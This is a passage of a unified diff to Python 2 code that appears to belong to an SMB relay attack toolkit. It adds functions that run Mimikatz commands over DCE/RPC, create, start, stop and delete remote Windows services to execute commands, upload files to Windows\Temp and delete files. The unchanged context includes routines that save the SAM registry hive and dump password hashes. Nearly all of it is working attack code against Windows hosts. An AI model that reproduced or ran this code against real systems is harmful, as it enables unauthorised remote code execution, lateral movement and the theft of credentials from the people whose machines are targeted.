away a +##Tree Connect IPC$ and start to send SMB echos so we don't loose this precious connection. def ModifySMBRetCode(data): modified = list(data) modified[8:10] = "\x2d\x34" return ''.join(modified) +##We send our ReadAndX request with our offset and call recv() +def SMBDCERPCReadOutput(DataOffset, length,f, data, s): + head = SMBHeader(cmd="\x2e",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x12\x00") + t = SMBDCERPCReadRequestAndX(FID=f, MaxCountLow=length, MinCount=length,Offset = DataOffset) + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(8092) + return data, s, ExtractRPCCommandOutput(data) -### -#SMBRelay grab -### - -def GrabNegotiateFromTarget(data, s): - ## Start with nego protocol + session setup negotiate to our target. - h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8") - n = SMBNegoCairo(Data = SMBNegoCairoData()) - n.calculate() - packet0 = str(h)+str(n) - buffer0 = longueur(packet0)+packet0 - s.send(buffer0) - smbdata = s.recv(4096) - ##Session Setup AndX Request, NTLMSSP_NEGOTIATE to our target. - if smbdata[8:10] == "\x72\x00": - head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00") - t = data[36:] #simply grab the whole packet except the smb header from the client. - packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - s.send(buffer1) - smbdata = s.recv(4096) - challenge = ExtractSMBChallenge(smbdata)#Grab the challenge, in case we want to crack the hash later. - return data, smbdata, s, challenge - -def SendChallengeToClient(data, smbdata, conn): - ##Relay all that to our client. - if data[8:10] == "\x73\x00": - head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) - t = smbdata[36:]#simply grab the whole packet except the smb header from the client. - packet0 = str(head)+str(t) - buffer0 = longueur(packet0)+packet0 - conn.send(buffer0) - data = conn.recv(4096) - return data, conn ### #BindCall ### @@ -357,7 +486,7 @@ def SendChallengeToClient(data, smbdata, conn): def BindCall(UID, Version, File, data, s): Data = data head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - t = SMBNTCreateData(FileName=File) + t = SMBNTCreateDataSVCCTL(FileName=File) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 @@ -385,12 +514,13 @@ def BindCall(UID, Version, File, data, s): x = SMBDCEData(CTX0UID=UID, CTX0UIDVersion=Version) x.calculate() f = data[42:44] - t = SMBWriteData(FID=f,Data=x) + t = SMBDCERPCWriteData(FID=f,Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 s.send(buffer1) data = s.recv(2048) + ## DCE/RPC Read. if data[8:10] == "\x2f\x00": head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) @@ -403,9 +533,85 @@ def BindCall(UID, Version, File, data, s): return data, s, f ########################### -#Launch And Create Service +#Launch A Mimikatz CMD ########################### -def CreateService(Command, f, host, data, s): +def MimiKatzRPC(Command, f, host, data, s): + ## DCE/RPC MimiKatzRPC. + ## DCE/RPC Write. + if data[8:10] == "\x2e\x00": + head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCEMimiKatzRPCCommand(CMD=Command) + w.calculate() + x = SMBDCEPacketData(Data=w, Opnum="\x00\x00") + x.calculate() + t = SMBDCERPCWriteData(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + + ## DCE/RPC Read. + if data[8:10] == "\x2f\x00": + head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBReadData(FID=f,MaxCountLow=struct.pack('60: + minutes = Seconds/60 + print 'Fetched in: %.3g minutes.'%(minutes) + if Seconds<60: + print 'Fetched in: %.3g seconds'%(Seconds) + print "Output:\n", Output + return data,s,f + +###################################### +#Launch And Create a MimiKatz Service +###################################### +def CreateMimikatzService(Command, ServiceNameChars, ServiceIDChars, f, host, data, s): ## DCE/RPC SVCCTLOpenManagerW. if data[8:10] == "\x2e\x00": head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) @@ -428,10 +634,8 @@ def CreateService(Command, f, host, data, s): ## DCE/RPC Create Service. if data[8:10] == "\x25\x00": ContextHandler = data[84:104] - ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)]) - ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)]) head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler, ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,BinCMD=Command) + w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,BinCMD=Command) w.calculate() x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w) x.calculate() @@ -448,7 +652,6 @@ def CreateService(Command, f, host, data, s): if data[len(data)-4:] == "\x05\x00\x00\x00": print "[+] Failed to create the service\n" return ModifySMBRetCode(data) - #print "[+] Service name: %s with display name: %s successfully created"%(ServiceNameChars, ServiceIDChars) ContextHandlerService = data[88:108] head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars) @@ -499,6 +702,225 @@ def CreateService(Command, f, host, data, s): s.send(buffer1) data = s.recv(2048) + ## DCE/RPC SVCCTLCloseService + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to query the service.\n" + return ModifySMBRetCode(data) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLCloseService(ContextHandle=ContextHandlerService) + x = SMBDCEPacketData(Opnum="\x00\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + return data, s, f + +########################### +#Stop And Delete A Service +########################### +def StopAndDeleteService(Command, ServiceNameChars, ServiceIDChars, f, host, data, s): + ## DCE/RPC SVCCTLOpenManagerW. + if data[8:10] == "\x2e\x00": + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x02\x00", MachineName=host) + w.calculate() + x = SMBDCEPacketData(Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ##Error handling. + if data[8:10] == "\x2e\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n" + return ModifySMBRetCode(data) + + ## DCE/RPC SVCCTLOpenService. + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to create the service\n" + return ModifySMBRetCode(data) + ContextHandlerService = data[84:104] + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandlerService,ServiceName=ServiceNameChars) + w.calculate() + x = SMBDCEPacketData(Opnum="\x10\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + + ## DCE/RPC SVCCTLControlService, stop operation. + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to open the service.\n" + return ModifySMBRetCode(data) + ContextHandlerService = data[84:104] + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLControlService(ContextHandle=ContextHandlerService, ControlOperation="\x01\x00\x00\x00") + x = SMBDCEPacketData(Opnum="\x01\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + + ## DCE/RPC SVCCTLDeleteService. + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to stop the service.\n" + return ModifySMBRetCode(data) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLDeleteService(ContextHandle=ContextHandlerService) + x = SMBDCEPacketData(Opnum="\x02\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + + ## DCE/RPC SVCCTLCloseService + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to delete the service.\n" + return ModifySMBRetCode(data) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLCloseService(ContextHandle=ContextHandlerService) + x = SMBDCEPacketData(Opnum="\x00\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + return data, s, f + + +########################### +#Launch And Create Service +########################### +def CreateService(Command, ServiceNameChars, ServiceIDChars, f, host, data, s): + ## DCE/RPC SVCCTLOpenManagerW. + if data[8:10] == "\x2e\x00": + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x02\x00", MachineName=host) + w.calculate() + x = SMBDCEPacketData(Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ##Error handling. + if data[8:10] == "\x2e\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n" + return ModifySMBRetCode(data) + + ## DCE/RPC Create Service. + if data[8:10] == "\x25\x00": + ContextHandler = data[84:104] + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,BinCMD=Command) + w.calculate() + x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + #print "[+] Creating service" + + ## DCE/RPC SVCCTLOpenService. + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to create the service\n" + return ModifySMBRetCode(data) + ContextHandlerService = data[88:108] + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars) + w.calculate() + x = SMBDCEPacketData(Opnum="\x10\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + + ## DCE/RPC SVCCTLStartService. + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to open the service.\n" + return ModifySMBRetCode(data) + ContextHandler = data[84:104] + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler) + x = SMBDCEPacketData(Opnum="\x13\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + + ## DCE/RPC SVCCTLQueryService. + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to start the service.\n" + return ModifySMBRetCode(data) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLQueryService(ContextHandle=ContextHandlerService) + x = SMBDCEPacketData(Opnum="\x06\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + s.send(buffer1) + data = s.recv(2048) + s.send(buffer1) + data = s.recv(2048) + + ## DCE/RPC SVCCTLControlService, stop operation. + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to query the service.\n" + return ModifySMBRetCode(data) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLControlService(ContextHandle=ContextHandlerService,ControlOperation = "\x01\x00\x00\x00") + x = SMBDCEPacketData(Opnum="\x01\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## DCE/RPC SVCCTLDeleteService. if data[8:10] == "\x25\x00": if data[len(data)-4:] == "\x05\x00\x00\x00": @@ -735,6 +1157,17 @@ def CloseFID(f, data, s): data = s.recv(2048) return data, s +def SMBDCERPCCloseFID(f, data, s): + ##Close FID Request + if data[8:10] == "\x2e\x00": + head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") + t = CloseRequest(FID = f) + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + return data, s + ########################### #Open a file for reading ########################### @@ -752,7 +1185,7 @@ def SMBOpenFile(Filename, Share, Host, Access, data, s): ##OpenAndX. if data[8:10] == "\x75\x00": head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") - t = OpenAndX(File=Filename, OpenFunc="\x01\x00",DesiredAccess=Access) + t = OpenAndX(File=Filename, OpenFunc="\x01\x00", Flags="\x07\x00", DesiredAccess=Access) t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 @@ -765,12 +1198,22 @@ def SMBOpenFile(Filename, Share, Host, Access, data, s): #We'll recover that connection.. return data, s, f + if data[8:10] == "\x2d\x43": + time.sleep(1) + head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") + t = OpenAndX(File=Filename, OpenFunc="\x01\x00",DesiredAccess=Access) + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + if data[8:10] == "\x2d\x00":##Found all good. f = data[41:43] return data, s, f if data[8:10] == "\x2d\x34":#not found - time.sleep(5)#maybe still processing the cmd. Be patient, then grab it again. + time.sleep(2)#maybe still processing the cmd. Be patient, then grab it again. head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") t = OpenAndX(File=Filename, OpenFunc="\x01\x00") t.calculate() @@ -790,11 +1233,60 @@ def SMBOpenFile(Filename, Share, Host, Access, data, s): return data, s, f ########################### -#Read then delete it. +#Open a file for writing +########################### + +def SMBOpenFileForWriting(Filename, FileSize, FileContent, Share, Host, Access, data, s): + ##Start with a Tree connect on C$ + head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBTreeConnectData(Path="\\\\"+Host+"\\"+Share+"$") + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + + ##NtCreate. + if data[8:10] == "\x75\x00": + head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") + t = SMBNTCreateData(FileName="Windows\\Temp\\"+Filename, CreateFlags="\x00\x00\x00\x00", AccessMask="\x96\x01\x03\x00",FileAttrib="\x20\x00\x00\x00", ShareAccess="\x00\x00\x00\x00", Disposition = "\x02\x00\x00\x00", CreateOptions="\x44\x00\x00\x00") + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + + if data[8:10] == "\xa2\x22": + print "[+] Can't open the file, access is denied (write protected file?)." + f = "A" #Don't throw an exception at the calling function because there's not enough value to unpack. + #We'll recover that connection.. + return data, s, f + + if data[8:10] == "\xa2\x35": + print "[+] Name collision, this file already exist in windows/temp/. Try: delete /windows/Temp/"+Filename + f = "A" #Don't throw an exception at the calling function because there's not enough value to unpack. + #We'll recover that connection.. + return data, s, f + + if data[8:10] == "\xa2\x00":##Found, all good. + f = data[42:44] + return data, s, f + + ##OpenAndX. + if data[8:10] == "\xa2\x34": + print "[+] The command failed or took to long to complete." + return data, s + + ##all good. + if data[8:10] == "\xa2\x00": + f = data[41:43] + return data, s, f +########################### +#Open an IPC$ channel. ########################### def SMBOpenPipe(Host, data, s): - ##Start with a Tree connect on C$ + ##Start with a Tree connect on IPC$ head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) t = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$") t.calculate() @@ -804,6 +1296,20 @@ def SMBOpenPipe(Host, data, s): data = s.recv(2048) return data, s +########################### +#Close a TID +########################### + +def CloseTID(data, s): + ##Start with a Tree connect on IPC$ + head = SMBHeader(cmd="\x71",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBTreeDisconnect() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + return data, s + ########################### #Read then delete it. ########################### @@ -864,6 +1370,62 @@ def GrabAndRead(f, Filename, data, s): data = s.recv(2048) return data, s, Output +########################### +#Write it. +########################### +def UploadAndWrite(f, FileSize, FileContent, data, s): + ##WriteRequest for a small file. + if data[8:10] == "\xa2\x00" and FileSize <= 29999: + head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x12\x00") + t = SMBWriteData(FID=f, Data=FileContent) + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + ##WriteRequest for a big file. + if data[8:10] == "\xa2\x00" and FileSize >= 30000: + ##How many requests? + count_number = int(FileSize/30000)+1 + #Do progress bar for large uploads, so the pentester doesn't fall asleep while doing a large SMB write operations.. + dataoffset = 0 + count = 0 + bar = 80 + start_time = time.time() + print 'File size: %s'%(GetReadableSize(FileSize)) + for i in xrange(count_number): + count = count+1 + Chunk = FileContent[dataoffset:dataoffset+30000] + alreadydone = int(round(80 * count / float(count_number))) + pourcent = round(100.0 * count / float(count_number), 1) + progress = '=' * alreadydone + '-' * (80 - alreadydone) + sys.stdout.write('[%s] %s%s\r' % (progress, pourcent, '%')) + sys.stdout.flush() + + if len(Chunk) == 0: + pass + else: + data, s = WriteOutput(struct.pack("60: + minutes = Seconds/60 + print 'Uploaded in: %.3g minutes.'%(minutes) + if Seconds<60: + print 'Uploaded in: %.3g seconds'%(Seconds) + + ##Close Request + if data[8:10] == "\x2f\x00": + head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") + t = CloseRequest(FID = f) + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + return data, s + ########################### #Read then delete it. ########################### @@ -929,12 +1491,10 @@ def ReadAndDelete(f, Filename, data, s): t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 - #print "[+] Deleting file now." s.send(buffer1) data = s.recv(2048) if data[8:10] == "\x06\x00": - #print "[+] File deleted, making sure it's not there anymore.." head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") t = OpenAndX(File=Filename, OpenFunc="\x01\x00") t.calculate() @@ -944,6 +1504,55 @@ def ReadAndDelete(f, Filename, data, s): data = s.recv(2048) return data, s, Output +def DeleteAFile(Filename, data, s, Host): + ##Start with a Tree connect on C$ + head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBTreeConnectData(Path="\\\\"+Host+"\\C$") + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + + ##DeleteFileRequest. + if data[8:10] == "\x75\x00": + head = SMBHeader(cmd="\x06",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x13\x00") + t = DeleteFileRequest(File=Filename) + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + + if data[8:10] == "\x06\x21": + time.sleep(1) + head = SMBHeader(cmd="\x06",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x13\x00") + t = DeleteFileRequest(File=Filename) + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + + if data[8:10] == "\x06\x21": + print "[+] Delete Failed. Server ("+Host+") returned STATUS_CANNOT_DELETE, "+Filename+" is currently in use by another process." + print "[+] Try taskkill /F /IM process_name, then delete the file." + return data, s + + if data[8:10] == "\x06\x34": + print "[+] Delete Failed. File not found." + return data, s + + if data[8:10] == "\x06\x00": + head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") + t = OpenAndX(File=Filename, OpenFunc="\x01\x00") + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + return data, s + def GrabKeyValue(s, f, handler, data, keypath): ## DCE/RPC OpenKey. if data[8:10] == "\x25\x00": @@ -1088,7 +1697,7 @@ def DumpHashes(data, s, Host): if f == "ServiceNotFound": stopped = True data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) - data,s,f = StartWinregService(f, Host[0], data, s) + data,s,f = StartWinregService(f, Host, data, s) data,s = CloseFID(f, data,s) #We should be all good here. data,s,f = BindCall("\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03", "\x01\x00", "\\winreg", data, s) @@ -1112,26 +1721,26 @@ def DumpHashes(data, s, Host): RandomFile = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.tmp' data,s,f = SaveKeyToFile("C:\\Windows\\Temp\\"+RandomFile, "SAM", handler, f, data, s) data,s = CloseFID(f, data, s) - data,s,f = SMBOpenFile("\\Windows\\Temp\\"+RandomFile, "C", Host[0], RW, data, s) + data,s,f = SMBOpenFile("\\Windows\\Temp\\"+RandomFile, "C", Host, RW, data, s) data,s,Output = ReadAndDelete(f, "\\Windows\\Temp\\"+RandomFile, data, s) #If the service was stopped before we came... if stopped: - data,s = SMBOpenPipe(Host[0], data, s)#Get a new IPC$ TID. + data,s = SMBOpenPipe(Host, data, s)#Get a new IPC$ TID. data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) - data,s,f = StopWinregService(f, Host[0], data, s) + data,s,f = StopWinregService(f, Host, data, s) data,s = CloseFID(f, data,s) data = ModifySMBRetCode(data) #After everything has been cleaned up, we write to file and call creddump - WriteOutputToFile(Output, "./Sam-"+Host[0]+".tmp") + WriteOutputToFile(Output, "./Sam-"+Host+".tmp") try: - Hashes = dump_file_hashes(BootKey, SaveSam_Path+"./Sam-"+Host[0]+".tmp") - WriteOutputToFile(Hashes, "./Hash-Dump-"+Host[0]+".txt") + Hashes = dump_file_hashes(BootKey, SaveSam_Path+"./Sam-"+Host+".tmp") + WriteOutputToFile(Hashes, "./Hash-Dump-"+Host+".txt") except: print "[+] Live dump failed, is python-crypto installed? " pass - print "[+] The SAM file was saved in: ./relay-dumps/Sam-"+Host[0]+".tmp and the hashes in ./relay-dumps/Hash-Dumped-"+Host[0]+".txt" + print "[+] The SAM file was saved in: ./relay-dumps/Sam-"+Host+".tmp and the hashes in ./relay-dumps/Hash-Dumped-"+Host+".txt" return data except: @@ -1159,7 +1768,7 @@ def SaveAKey(data, s, Host, Key): if f == "ServiceNotFound": stopped = True data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) - data,s,f = StartWinregService(f, Host[0], data, s) + data,s,f = StartWinregService(f, Host, data, s) data,s = CloseFID(f, data,s) #We should be all good here. data,s,f = BindCall("\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03", "\x01\x00", "\\winreg", data, s) @@ -1177,20 +1786,20 @@ def SaveAKey(data, s, Host, Key): print "[+] Something went wrong, try something else." return ModifySMBRetCode(data) data,s = CloseFID(f, data, s) - data,s,f = SMBOpenFile("\\Windows\\Temp\\"+Key+".tmp", "C", Host[0], RW, data, s) + data,s,f = SMBOpenFile("\\Windows\\Temp\\"+Key+".tmp", "C", Host, RW, data, s) data,s,Output = ReadAndDelete(f, "\\Windows\\Temp\\"+Key+".tmp", data, s) #If the service was stopped before we came... if stopped: - data,s = SMBOpenPipe(Host[0], data, s)#Get a new IPC$ TID. + data,s = SMBOpenPipe(Host, data, s)#Get a new IPC$ TID. data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) - data,s,f = StopWinregService(f, Host[0], data, s) + data,s,f = StopWinregService(f, Host, data, s) data,s = CloseFID(f, data,s) data = ModifySMBRetCode(data) #After everything has been cleaned up, we write the output to a file. - WriteOutputToFile(Output, Host[0]+"-"+Key+".tmp") - print "[+] The "+Key+" key and its subkeys were saved in: ./relay-dumps/"+Host[0]+"-"+Key+".tmp" + WriteOutputToFile(Output, Host+"-"+Key+".tmp") + print "[+] The "+Key+" key and its subkeys were saved in: ./relay-dumps/"+Host+"-"+Key+".tmp" return data except: @@ -1202,7 +1811,7 @@ def SaveAKey(data, s, Host, Key): def ReadFile(data, s, File, Host): try: File = File.replace("/","\\") - data,s,f = SMBOpenFile(File, "C", Host[0], READ, data, s) + data,s,f = SMBOpenFile(File, "C", Host, READ, data, s) data,s,Output = GrabAndRead(f, File, data, s) print Output return ModifySMBRetCode(data) ##Command was successful, ret true. @@ -1214,9 +1823,9 @@ def ReadFile(data, s, File, Host): def GetAfFile(data, s, File, Host): try: File = File.replace("/","\\") - data,s,f = SMBOpenFile(File, "C", Host[0], READ, data, s) + data,s,f = SMBOpenFile(File, "C", Host, READ, data, s) data,s,Output = GrabAndRead(f, File, data, s) - WriteOutputToFile(Output, Host[0]+"-"+File) + WriteOutputToFile(Output, Host+"-"+File) print "[+] Done." return ModifySMBRetCode(data) ##Command was successful, ret true. @@ -1224,16 +1833,166 @@ def 